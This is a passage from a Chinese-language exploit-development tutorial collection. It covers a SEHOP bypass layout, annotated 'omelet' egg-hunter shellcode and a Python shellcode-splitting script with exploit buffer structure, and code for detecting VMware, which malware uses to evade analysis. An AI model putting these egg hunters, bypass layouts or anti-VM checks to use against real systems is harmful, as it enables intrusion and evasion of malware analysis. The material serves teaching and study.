mov eax,11c8h
mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
call dword ptr [edx]

(4)System call on x64
– 7ffe0300 不再存放KiFastSystemCall的地址
– 通过call dword ptr fs:[0C0h]指令来代替系统调用的方法

1
2
3
4
5
6
7
0:000> u NtQueryInformationToken
ntdll!NtQueryInformationToken:
77d9fb38 b81e000000 mov eax,1Eh
77d9fb3d 33c9 xor ecx,ecx
77d9fb3f 8d542404 lea edx,[esp+4]
77d9fb43 64ff15c0000000 call dword ptr fs:[0C0h]
77d9fb4a 83c404 add esp,

五、SEHOP

原理

微软在Microsoft Windows 2008 SP0、Microsoft Windows Vista SP1和Microsoft Windows 7中加入了另一种新的保护机制SEHOP(Structured Exception Handling Overwrite Protection),它可作为SEH的扩展,用于检测SEH是否被覆写。SEHOP的核心特性是用于检测程序栈中的所有SEH结构链表的完整性,特别是对最后一个SHE结构的检测。在最后一个SEH结构中拥有一个特殊的异常处理函数指针,指向一个位于ntdll中的函数ntdll!FinalExceptHandler()。当我们用jmp 06 pop pop ret 来覆盖SEH结构后,由于SEH结构链表的完整性遭到破坏,SEHOP就能检测到异常从而阻止shellcode的运行

绕过方法

伪造SEH链表
由于SEHOP会检测SEH链表的完整性,那么我们可以通过伪造SEH链表来替换原先的SEH链表,进而达到绕过的目的。具体实现方法:

(1)查看SEH链表结构,可借助OD实现,然后记住最后一个SEH结构地址,以方便后面的利用;
(2)用JE(0x74) + 最后一个SEH结构的地址(由于地址开头是00,故可省略掉,可由0x74替代,共同实现4字节对齐)去覆盖nextSEH;
(3)用xor pop pop ret指令地址去覆盖SEH handle,其中的xor指令是用于将ZF置位,使前面的JE = JMP指令,进而实现跳转;
(4)在这两个SEH结构之前写入一跳转指令(JMP+8),以避免数据段被执行;
(5)在这两个SEH结构之间全部用NOP填充,如果两者之间还有其它SEH结构的话;
(6)将shellcode放置在最后一个SEH结构之后,即ntdll!FinalExceptHandler()函数之后。

此时的堆栈布局如下:

1
2
3
4
5
6
7
8
9
10
11
┏━━━━━━━━━━━━┓
【 NOP… 】
【 JMP 08 】
【 JE XXXXXX 】<= next SEH(指向前面的NOP)
【 xor pop pop ret 】<= SEH Handler
【 NOP… 】
【 JMP 08 】
【 0xFFFFFFFF 】<= next SEH
【ntdll!FinalExceptHandler】<= SEH Handler
【 shellcode 】
┗━━━━━━━━━━━━┛

更多信息可参见我之前翻译的《绕过SEHOP安全机制》

结论

本文简单地叙述了windows平台上的各类溢出保护机制及其绕过方法,但若结合实例分析的话,没有几万字是不可能完成的,因此这里概览一番,读者若想获得相关的实例运用的资料,可参考文中提及一些paper,特别是由看雪论坛上dge兄弟翻译的《Exploit编写系列教程6》以及黑客杂志《Phrack》、《Uninformed》上的相关论文。微软与黑客之间的斗争是永无休止的,我们期待着下一项安全机制的出现……

Shellcode分段执行技术原理

前言

由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2/Alpha3的开发者。

原理分析

将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:



图1

当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
reset_stack:
; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
XOR EAX, EAX ; EAX = 0,并作为计数器
MOV ECX, [FS:EAX] ; ECX = SEH结构链表
find_last_SEH_loop:
MOV ESP, ECX ; ESP = SEH结构
POP ECX ; ECX = 下一个SEH结构指针
CMP ECX, 0xFFFFFFFF ; 判断是否是最后一个SEH结构
JNE find_last_SEH_loop ; 不是则跳走并继续查找
POP EDX ; 最后一个SEH结构中的异常处理例程handler
CALL create_SEH_handler ; 自定义SEH handler

SEH_handler:
POPA ; ESI = [ESP + 4] -> struct exception_info
LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address
POP EAX ; EAX = exception address 0x????????
OR AX, 0xFFF ; EAX = 0x?????FFF
INC EAX ; EAX = 0x?????FFF + 1 -> next page
JS done ; EAX > 0x7FFFFFFF ===> done
XCHG EAX, EDI ; EDI => next page
JMP reset_stack

当从地址0x00000000开始搜索后,若找到以相匹配的egg_size开头的egg内存块,它会将接下的DWORD值与一个特殊值(3字节的标记值和1字节的0xFF)相异或,如果是我们要找的egg内存块,那么获取的结果会等于内存块的索引号(从0开始),比如第二块egg内存块的这个DWORD值为0xBADA55FE,那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块,则继续搜索下一字节。对应的代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
create_SEH_handler:
PUSH ECX ; 指向下一个SEH结构,这里为0xFFFFFFFF
MOV [FS:EAX], ESP ; 设置当前的SEH为自定义的SEH_handler
CLD ; 清除方向标志位DF,从0开始扫描内存
scan_loop:
MOV AL, egg_size ; EAX = egg_size
egg_size_location equ $-1 - $$
REPNE SCASB ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
PUSH EAX ; 找到后保存egg_size
MOV ESI, EDI ; ESI = 相匹配内存块的地址
LODSD ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节)
XOR EAX, (marker << 8) + 0xFF ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
marker_bytes_location equ $-3 - $$
CMP EAX, BYTE max_index ; 检测EAX值是否小于 max_index
max_index_location equ $-1 - $$
JA reset_stack ; 不是则跳走并继续搜索内存

找到egg内存块后,将内存块大小egg_size与索引值egg_index相乘可得到该内存块在原始shellcode中的偏移egg_offset,然后将它再加上存放shellcode的栈空间起始地址,最后得到绝对地址,并将该egg内存块复制到绝对地址上,直至所有的egg内存块全部复制到栈上,进而在栈上重构出完整的shellcode。其对应代码如下:

1
2
3
4
5
6
7
8
9
 POP     ECX                         ; ECX = egg_size
IMUL ECX ; EAX = egg_size * egg_index == egg_offset
; 这里是有带符号相乘,由于ECX * EAX总小于0x1000000,所以EDX=0
ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode.
XCHG EAX, EDI
copy_loop:
REP MOVSB ; 将匹配的内存块复制到栈空间以重构成完整的shellcode
MOV EDI, ESI ; EDI指向当前匹配内存块的末尾,在拷贝完第一块内存块后继续搜索第二块,
; 以此类推,直至所有的内存块全部搜索到并复制到栈上

最后就是跳到栈底去执行重构后的shellcode:

1
2
3
done:
XOR EAX, EAX ; EAX = 0
CALL [BYTE FS:EAX + 8] ; 从栈中shellcode的起始地址开始执行

这样就完成了对各段egg内存块的搜索,并重构出完整shellcode来执行。
注意:由于此份代码只搜索0x00000000~0x80000000之间的用户内存空间,因此对于开启/3Gb(0x00000000~0xC000000)开关的系统并不适用,若应用在这样的系统上就可能会导致部分egg内存块未搜索到,以致无法正确地执行shellcode。
在2010年8月,由Exploit编写系列教程的作者Peter Van Eeckhoutte编写的egg-to-omelet hunter程序在其博客上公布了(详细源码参见附件),此份程序对原先由SkyLined编写的omelet hunter进行了改进,提高其成功率和稳定性。此份程序先从当前栈桢的末尾 (0x….ffff) 开始搜索,为了避免出现NULL字节,又让egg内存块数量nr_egg加1,因此我们还可以让它与1相比较,然后去搜索保存在eax中的内存块标记tag,此标记类似这样:

1
2
3
4
5
773030<seq>
这里seq = 1 + number_of_remaining_eggs_to_find + 1,比如你有3个egg内存块,那么各块egg对应的tag分别为 :
Egg 1 : 77 30 30 05
Egg 2 : 77 30 30 04
Egg 3 : 77 30 30 03

在搜索过程中,它通过调用NtAccessCheckAndAuditAlarm来判断是否出现访问违例,出错则重新搜索,否则就继续寻找各内存块标记tag,找到后通过rep movsb指令将其复制到edi指向的地址中,进而重组原始shellcode并进行执行。具体源码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
BITS 32 

nr_eggs equ 0x2 ; egg内存块的数量
egg_size equ 0x7b ; 每一egg内存块占127字节

jmp short start

get_target_loc:

push esp
pop edi ; 将栈顶指针esp保存在edi中

or di,0xffff ; edi=0x....ffff,即当前栈桢的末尾
mov edx,edi ; edx=搜索的起始地址
xor eax,eax ; eax清零
mov al,nr_eggs ; eax = 内存块数量
calc_target_loc:
xor esi,esi ; esi=0,作为计数器
mov si,0-(egg_size+20) ; 为每一块egg内存块添加20字节的额外空间

get_target_loc_loop:
dec edi ; 往回遍历搜索当前栈桢
inc esi ; 递增计数器
cmp si,-1 ; 继续往回遍历直到ESI = -1
jnz get_target_loc_loop
dec eax ; 若未找到所有的内存块则跳走并继续循环,
jnz calc_target_loc ; 否则edi就指向了重组shellcode将保存的地址
xor ebx,ebx ; ebx清零,作为计数器
mov bl,nr_eggs+1 ; ebx = nr_eggs + 1,但为了避免出现NULL字节,
; 因此这里从1开始计数
ret

start:
call get_target_loc ; 计算出重组shellcode将保存的栈地址

jmp short search_next_address
find_egg:
dec edx ; 由于下面搜索是以DWORD(4字节)为单位进行字节扫描的
dec edx ; 因此这里需要edx-4
dec edx
dec edx
search_next_address:
inc edx ; 搜索下一字节
push edx ; 保存edx
push byte +0x02
pop eax ; eax = 0x02,功能号,系统调用表可参考下列网址:
; http://www.metasploit.com/users/opcode/syscalls.html
int 0x2e ; 调用NtAccessCheckAndAuditAlarm
cmp al,0x5 ; 判断是否访问违例(0xc0000005== ACCESS_VIOLATION)
pop edx ; 重储edx
je search_next_address ; 如果地址不可读则跳走
mov eax,0x77303001 ; 若可读则将索引值与标记值赋予eax
add eax,ebx ; eax += ebx,这里ebx为egg内存块的计数器,
; 此时eax得到的就是各个内存块开头的标记marker,
; tag=773030<seq>,其中seq = 0x1 + number_of_remaining_eggs_to_find + 0x1,
; 比如0x77303003,0x77303004……

xchg edi,edx ; 交换edi与edx的值
scasd ; 搜索edi中是否存在eax中的标记
xchg edi,edx ; 将edi/edx的值再交换回来
jnz find_egg ; 若未找到相匹配的标记则跳走,否则edx指向找到的egg内存块

copy_egg:
mov esi,edx ; ESI = EDX,保存egg内存块地址到esi留作后用
xor ecx,ecx ; ecx = 0
mov cl,egg_size ; 复制的字节数,相当于每一egg内存块大小
rep movsb ; 从esi复制到edi
dec ebx ; 递增ebx,ebx为内存块计数器
cmp bl,1 ; 判断是否找到所有的egg内存块
jnz find_egg ; 没有则继续搜索

done:
call get_target_loc ; 重新定位重组后shellcode所在的地址
jmp edi ; 执行shellcode

以上分析的两份程序均是对各egg内存块进行搜索的egg-to-omelet hunter程序,SkyLined还提供了另一份代码用于将shellcode进行分段,构造出各段egg内存块数据,其文件名为w32_SEH_omelet.py,是用Python编写的。它主要是遵循SkyLined在w32_SEH_omelet.asm代码中所提到的算法进行计算,以获取各块egg中的字节大小size,索引值index,标记值marker(默认为0x280876),以及各egg中的部分shellcode代码,每块egg的大小是固定的(默认为127字节),不足的用’@’(0x40)填充。其核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
if (marker_bytes.startswith('0x')): # 判断标记marker_bytes是否以0x开头
marker_bytes = int(marker_bytes[2:], 16) # 以16为基数(十六进制)进行整数转换
else:
marker_bytes = int(marker_bytes) # 以10为基数(十进制)进行整数转换
if (egg_size.startswith('0x')):
egg_size = int(egg_size[2:], 16)
else:
egg_size = int(egg_size)
assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'

bin = open(bin_file).read() # 读取bin_file文件,即负责搜索egg的bin文件
marker_bytes_location = ord(bin[-3]) # 标记值marker
max_index_location = ord(bin[-2]) # 索引值index
egg_size_location = ord(bin[-1]) # 各egg内存块所占的字节数
code = bin[:-3] # 用于存放分段后的部分shellcode代码

shellcode = open(shellcode_file).read()

max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0))) # 计算出每块egg的最大索引值,并要求其必须<=0xFF
assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of %X '
'(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
max_index, max_index, egg_size, egg_size)

marker_bytes_string = ''
for i in range(0,3):
marker_bytes_string += chr(marker_bytes & 0xFF) # 将标记值与0xFF进行与运算
marker_bytes >>= 8 # 右移8位,相当于将标记值转换成0x280876ff

max_index_string = chr(max_index)
egg_size_string = chr(egg_size - 5) # 扣去字节大小(1字节),索引值(1字节)和标记(3字节)所占用的5字节
# insert variables into code
code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
output = [
'// This is the binary code that needs to be executed to find the eggs, ',
'// recombine the orignal shellcode and execute it. It is %d bytes:' % (
len(code),),
'omelet_code = "%s";' % HexEncode(code),
'',
'// These are the eggs that need to be injected into the target process ',
'// for the omelet shellcode to be able to recreate the original shellcode',
'// (you can insert them as many times as you want, as long as each one is',
'// inserted at least once). They are %d bytes each:' % (egg_size,) ]
egg_index = 0
while shellcode:
egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
egg += shellcode[:egg_size - 5] # 构造出完整的egg内存块:size + index + marker + shellcode
if len(egg) < egg_size:
# tail end of shellcode is smaller than an egg: add pagging:
egg += '@' * (egg_size - len(egg)) # 每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充
output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
shellcode = shellcode[egg_size - 5:]
egg_index += 1
open(output_file, 'w').write('\n'.join(output)) # 写入输出文件output_file

使用方法

关于使用方法,其实很简单,使用命令如下:
C:\Users\riusksk> w32_SEH_omelet.py w32_SEH_omelet.bin shellcode.bin output.txt 127 0xBADA55
它需要先生成两个bin文件,一个是shellcode.bin,还有一个用于egg搜索的w32_SEH_omelet.bin,这里用Peter Van Eeckhoutte编写的egg-to-omelet hunter程序来生成bin文件以代替w32_SEH_omelet.bin也是可以的。关于shellcode.bin,你可以先用metasploit先生成shellcode,然后用perl/python将shellcode写入一个bin文件即可;而w32_SEH_omelet.bin可直接用nasm去编译SkyLined的w32_SEH_omelet.asm或者Peter Van Eeckhoutte写的corelanc0d3r_omelet.asm从而得到此bin文件。Output.txt是输出文件,用来保存生成各个egg以及omelet代码,后面的127是每一块egg内存块的字节数,而0xBADA55是标记值,你也可采用其它3字节数据,比如w00(0x773030),最后生成的输出文件内容类似如下:

1
2
3
4
5
6
7
8
9
10
11
// This is the binary code that needs to be executed to find the eggs, 
// recombine the orignal shellcode and execute it. It is 82 bytes:
omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

// These are the eggs that need to be injected into the target process
// for the omelet shellcode to be able to recreate the original shellcode
// (you can insert them as many times as you want, as long as each one is
// inserted at least once). They are 127 bytes each:
egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";

生成文件后我们就可以在实际漏洞利用中构造出类似下面这样的exploit:

1
【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】

不过具体的实际漏洞利用还得受一些操作环境影响,得视具体情况进行变化,同时还需要一点运气!

结语

本文就Omelet Shellcode进行简单地分析,阐述了shellcode分段执行技术的基本原理,并对其使用进行简单的讲解,以帮助大家更好地理解并应用好Omelet Shellcode。在本文是笔者只是起到了一个抛砖引玉的作用,关于shellcode的编写还有很多技术性,同时也需要一定的艺术性,这些都需要靠大家共同来打造和分享,如果你有更多关于这方面的资料和技术,希望可以跟我分享’

虚拟机检测技术剖析

前言

在当今信息安全领域,特别是恶意软件分析中,经常需要利用到虚拟机技术,以提高病毒分析过程的安全性以及硬件资源的节约性,因此它在恶意软件领域中是应用越来越来广泛。这里我们所谓的虚拟机(Virtual Machine)是指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。通过虚拟机软件(比如VMware,Virtual PC ,VirtualBox),你可以在一台物理计算机上模拟出一台或多台虚拟的计算机,这些虚拟机完全就像真正的计算机那样进行工作,例如你可以安装操作系统、安装应用程序、访问网络资源等等。攻击者为了提高恶意程序的隐蔽性以及破坏真实主机的成功率,他们都在恶意程序中加入检测虚拟机的代码,以判断程序所处的运行环境。当发现程序处于虚拟机(特别是蜜罐系统)中时,它就会改变操作行为或者中断执行,以此提高反病毒人员分析恶意软件行为的难度。本文主要针对基于Intel CPU的虚拟环境VMware中的Windows XP SP3系统进行检测分析,并列举出当前常见的几种虚拟机检测方法。

方法一:通过执行特权指令来检测虚拟机

Vmware为真主机与虚拟机之间提供了相互沟通的通讯机制,它使用“IN”指令来读取特定端口的数据以进行两机通讯,但由于IN指令属于特权指令,在处于保护模式下的真机上执行此指令时,除非权限允许,否则将会触发类型为“EXCEPTION_PRIV_INSTRUCTION”的异常,而在虚拟机中并不会发生异常,在指定功能号0A(获取VMware版本)的情况下,它会在EBX中返回其版本号“VMXH”;而当功能号为0x14时,可用于获取VMware内存大小,当大于0时则说明处于虚拟机中。VMDetect正是利用前一种方法来检测VMware的存在,其检测代码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bool IsInsideVMWare()
{
bool rc = true;

__try
{
__asm
{
push edx
push ecx
push ebx

mov eax, 'VMXh'
mov ebx, 0 // 将ebx设置为非幻数’VMXH’的其它值
mov ecx, 10 // 指定功能号,用于获取VMWare版本,当它为0x14时用于获取VMware内存大小
mov edx, 'VX' // 端口号
in eax, dx // 从端口dx读取VMware版本到eax
//若上面指定功能号为0x14时,可通过判断eax中的值是否大于0,若是则说明处于虚拟机中
cmp ebx, 'VMXh' // 判断ebx中是否包含VMware版本’VMXh’,若是则在虚拟机中
setz [rc] // 设置返回值

pop ebx
pop ecx
pop edx
}
}
__except(EXCEPTION_EXECUTE_HANDLER) //如果未处于VMware中,则触发此异常
{
rc = false;
}

return rc;
}

测试结果:



图1

如图1所示,VMDetect成功检测出VMWare的存在。

方法二:利用IDT基址检测虚拟机

利用IDT基址检测虚拟机的方法是一种通用方式,对VMware和Virtual PC均适用。中断描述符表IDT(Interrupt Descriptor Table)用于查找处理中断时所用的软件函数,它是一个由256项组成的数据,其中每一中断对应一项函数。为了读取IDT基址,我们需要通过SIDT指令来读取IDTR(中断描述符表寄存器,用于IDT在内存中的基址),SIDT指令是以如下格式来存储IDTR的内容:

1
2
3
4
5
6
typedef struct
{
WORD IDTLimit; // IDT的大小
WORD LowIDTbase; // IDT的低位地址
WORD HiIDTbase; // IDT的高位地址
} IDTINFO;

由于只存在一个IDTR,但又存在两个操作系统,即虚拟机系统和真主机系统。为了防止发生冲突,VMM(虚拟机监控器)必须更改虚拟机中的IDT地址,利用真主机与虚拟机环境中执行sidt指令的差异即可用于检测虚拟机是否存在。著名的“红丸”(redpill)正是利用此原理来检测VMware的。Redpill作者在VMware上发现虚拟机系统上的IDT地址通常位于0xFFXXXXXX,而Virtual PC通常位于0xE8XXXXXX,而在真实主机上正如图2所示都位于0x80xxxxxx。Redpill仅仅是通过判断执行SIDT指令后返回的第一字节是否大于0xD0,若是则说明它处于虚拟机,否则处于真实主机中。Redpill的源码甚是精简,源码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main () {

unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3"; //相当于SIDT[adrr],其中addr用于保存IDT地址
*((unsigned*)&rpill[3]) = (unsigned)m; //将sidt[addr]中的addr设为m的地址
((void(*)())&rpill)(); //执行SIDT指令,并将读取后IDT地址保存在数组m中

printf ("idt base: %#x\n", *((unsigned*)&m[2])); //由于前2字节为IDT大小,因此从m[2]开始即为IDT地址
if (m[5]>0xd0) printf ("Inside Matrix!\n", m[5]); //当IDT基址大于0xd0xxxxxx时则说明程序处于VMware中
else printf ("Not in Matrix.\n");
return 0;
}

测试结果如图2所示:



图2

利用此IDT检测的方法存在一个缺陷,由于IDT的值只针对处于正在运行的处理器而言,在单CPU中它是个常量,但当它处于多CPU时就可能会受到影响了,因为每个CPU都有其自己的IDT,这样问题就自然而然的产生了。针对此问题,Offensive Computing组织成员提出了两种应对方法,其中一种方法就是利用Redpill反复地在系统上循环执行任务,以此构造出一张当前系统的IDT值变化统计图,但这会增加CPU负担;另一种方法就是windows API函数SetThreadAffinityMask()将线程限制在单处理器上执行,当执行此测试时只能准确地将线程执行环境限制在本地处理器,而对于将线程限制在VM处理器上就可能行不通了,因为VM是计划在各处理器上运行的,VM线程在不同的处理器上执行时,IDT值将会发生变化,因此此方法也是很少被使用的。为此,有人提出了使用LDT的检测方法,它在具有多个CPU的环境下检测虚拟机明显优于IDT检测方法,该方法具体内容参见下节内容。

方法三:利用LDT和GDT的检测方法

在 《Intel® 64 and IA-32 Architecture Software Developer’s Manual Volume 3A: System Programming Guide》第二章的Vol.3 2-5 一页(我的Intel开发手册是2008版的)中对于LDT和GDT的描述如下(以下内容为个人翻译):

在保护模式下,所有的内存访问都要通过全局描述符表(GDT)或者本地描述符表(LDT)才能进行。这些表包含有段描述符的调用入口。各个段描述符都包含有各段的基址,访问权限,类型和使用信息,而且每个段描述符都拥有一个与之相匹配的段选择子,各个段选择子都为软件程序提供一个GDT或LDT索引(与之相关联的段描述符偏移量),一个全局/本地标志(决定段选择子是指向GDT还是LDT),以及访问权限信息。
若想访问段中的某一字节,必须同时提供一个段选择子和一个偏移量。段选择子为段提供可访问的段描述符地址(在GDT 或者LDT 中)。通过段描述符,处理器从中获取段在线性地址空间里的基址,而偏移量用于确定字节地址相对基址的位置。假定处理器在当前权限级别(CPL)可访问这个段,那么通过这种机制就可以访问在GDT 或LDT 中的各种有效代码、数据或者堆栈段,这里的CPL是指当前可执行代码段的保护级别。
……
GDT的线性基址被保存在GDT寄存器(GDTR)中,而LDT的线性基址被保存在LDT寄存器(LDTR)中。

由于虚拟机与真实主机中的GDT和LDT并不能相同,这与使用IDT的检测方法一样,因此虚拟机必须为它们提供一个“复制体”。关于GDT和LDT的基址可通过SGDT和SLDT指令获取。虚拟机检测工具Scoopy suite的作者Tobias Klein经测试发现,当LDT基址位于0x0000(只有两字节)时为真实主机,否则为虚拟机,而当GDT基址位于0xFFXXXXXX时说明处于虚拟机中,否则为真实主机。具体实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>

void LDTDetect(void)
{
unsigned short ldt_addr = 0;
unsigned char ldtr[2];

_asm sldt ldtr
ldt_addr = *((unsigned short *)&ldtr);
printf("LDT BaseAddr: 0x%x\n", ldt_addr);

if(ldt_addr == 0x0000)
{
printf("Native OS\n");
}
else
printf("Inside VMware\n");
}

void GDTDetect(void)
{
unsigned int gdt_addr = 0;
unsigned char gdtr[4];

_asm sgdt gdtr
gdt_addr = *((unsigned int *)&gdtr[2]);
printf("GDT BaseAddr:0x%x\n", gdt_addr);

if((gdt_addr >> 24) == 0xff)
{
printf("Inside VMware\n");
}
else
printf("Native OS\n");
}

int main(void)
{
LDTDetect();
GDTDetect();
return 0;
}

测试结果如图3所示:



图3

方法四:基于STR的检测方法

在保护模式下运行的所有程序在切换任务时,对于当前任务中指向TSS的段选择器将会被存储在任务寄存器中,TSS中包含有当前任务的可执行环境状态,包括通用寄存器状态,段寄存器状态,标志寄存器状态,EIP寄存器状态等等,当此项任务再次被执行时,处理器就会其原先保存的任务状态。每项任务均有其自己的TSS,而我们可以通过STR指令来获取指向当前任务中TSS的段选择器。这里STR(Store task register)指令是用于将任务寄存器 (TR) 中的段选择器存储到目标操作数,目标操作数可以是通用寄存器或内存位置,使用此指令存储的段选择器指向当前正在运行的任务的任务状态段 (TSS)。在虚拟机和真实主机之中,通过STR读取的地址是不同的,当地址等于0x0040xxxx时,说明处于虚拟机中,否则为真实主机。实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
int main(void)
{
unsigned char mem[4] = {0};
int i;

__asm str mem;
printf (" STR base: 0x");
for (i=0; i<4; i++)
{
printf("%02x",mem[i]);
}

if ( (mem[0]==0x00) && (mem[1]==0x40))
printf("\n INSIDE MATRIX!!\n");
else
printf("\n Native OS!!\n");
return 0;
}

测试结果如图4所示:



图4

方法五:基于注册表检测虚拟机

在windows虚拟机中常常安装有VMware Tools以及其它的虚拟硬件(如网络适配器、虚拟打印机,USB集线器……),它们都会创建任何程序都可以读取的windows注册表项,因此我们可以通过检测注册表中的一些关键字符来判断程序是否处于虚拟机之中。关于这些注册表的位置我们可以通过在注册表中搜索关键词“vmware”来获取,下面是我在VMware下的WinXP中找到的一些注册表项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
项名:HKEY_CLASSES_ROOT\Applications\VMwareHostOpen.exe
项名:HKEY_CLASSES_ROOT\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\ProductName
键值“VMware Tools”
项名:HKEY_CLASSES_ROOT\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\SourceList\PackageName
键值:VMware Tools.msi
项名:HKEY_CURRENT_USER\Printers\DeviceOld
键值:_#VMwareVirtualPrinter,winspool,TPVM:
项名:HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
键值:VMware Virtual IDE Hard Drive
项名:HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
键值:NECVMWar VMware IDE CDR10
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\ProductName
键值:VMware Tools
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\C2A6F2EFE6910124C940B2B12CF170FE\InstallProperties\DisplayName
键值:VMware Tools
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reinstall\0002\DeviceDesc
键值:VMware SVGA II
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards\2\Description
键值:VMware Accelerated AMD PCNet Adapter
项名:HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
键值:VMware SVGA II
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE10318}\0000\ProviderName
键值:VMware, Inc.
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001\DriverDesc
键值:VMware Accelerated AMD PCNet Adapter
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E97B-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
键值:VMware SCSI Controller
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\ThinPrint Print Port Monitor for VMWare

除以上这些表项之外,还有很多地方可以检测,特别是虚拟机提供的虚拟化软硬件、服务之类,比如文件共享服务,VMware 物理磁盘助手服务,VMware Ethernet Adapter Driver,VMware SCSI Controller等等的这些信息都可作为检测虚拟机的手段。这里我们就以其中某表项为例编程举例一下,其它表项检测方法同理,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.386
.model flat, stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc

includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib

.data
